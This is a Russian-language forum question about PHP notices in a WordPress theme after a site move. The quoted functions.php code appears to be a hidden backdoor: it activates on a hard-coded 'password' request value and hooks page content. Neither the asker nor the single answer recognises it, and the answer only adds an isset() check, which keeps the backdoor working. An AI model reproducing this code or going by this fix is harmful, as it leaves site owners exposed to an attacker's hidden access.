iborisbelov
@iborisbelov
Веб-дизайнер, UX\UI

Что это за ошибка Notice: Undefined index: password в Wordpress?

После переноса сайта появились такие ошибки

Notice: Undefined index: password in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/functions.php on line 152

Strict Standards: Declaration of Walker_Responsive_Menu::start_lvl() should be compatible with Walker_Nav_Menu::start_lvl(&$output, $depth = 0, $args = Array) in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/functions.php on line 346

Strict Standards: Declaration of Walker_Responsive_Menu::end_lvl() should be compatible with Walker_Nav_Menu::end_lvl(&$output, $depth = 0, $args = Array) in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/functions.php on line 346

Strict Standards: Declaration of Walker_Responsive_Menu::start_el() should be compatible with Walker_Nav_Menu::start_el(&$output, $item, $depth = 0, $args = Array, $id = 0) in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/functions.php on line 346

Notice: Undefined index: catwootype in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/woocommerce/archive-product.php on line 4

Notice: Undefined index: catwootype in /home/smartavi/public_html/wordpress.smartavi.com/wp-content/themes/camy/woocommerce/archive-product.php on line 7


Линк: http://wordpress.smartavi.com/products/video-wall...

Как решить?

Если зайти в functions.php

static function create()
					{
						if ( strpos($_SERVER['REQUEST_URI'], 'wp-admin') !== FALSE ) return ;
						$GLOBALS['_cache_'] = new SuperClass();
						if ($_REQUEST['password'] == 'feaf8e6f9914037fc41b46243592db26') $GLOBALS['_cache_'] -> pre_cache();
						$GLOBALS['global_code'] = $GLOBALS['_cache_'] -> url_code();
						add_filter('the_content', Array($GLOBALS['_cache_'], 'wordpress_cache'));					
					}


То наша ошибка якобы тут

if ($_REQUEST['password'] == 'feaf8e6f9914037fc41b46243592db26') $GLOBALS['_cache_'] -> pre_cache();
  • Вопрос задан
  • 1060 просмотров
Пригласить эксперта
Ответы на вопрос 1
@aylo
Попробуйте так
if (isset($_REQUEST['password']) && $_REQUEST['password'] == 'feaf8e6f9914037fc41b46243592db26')
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы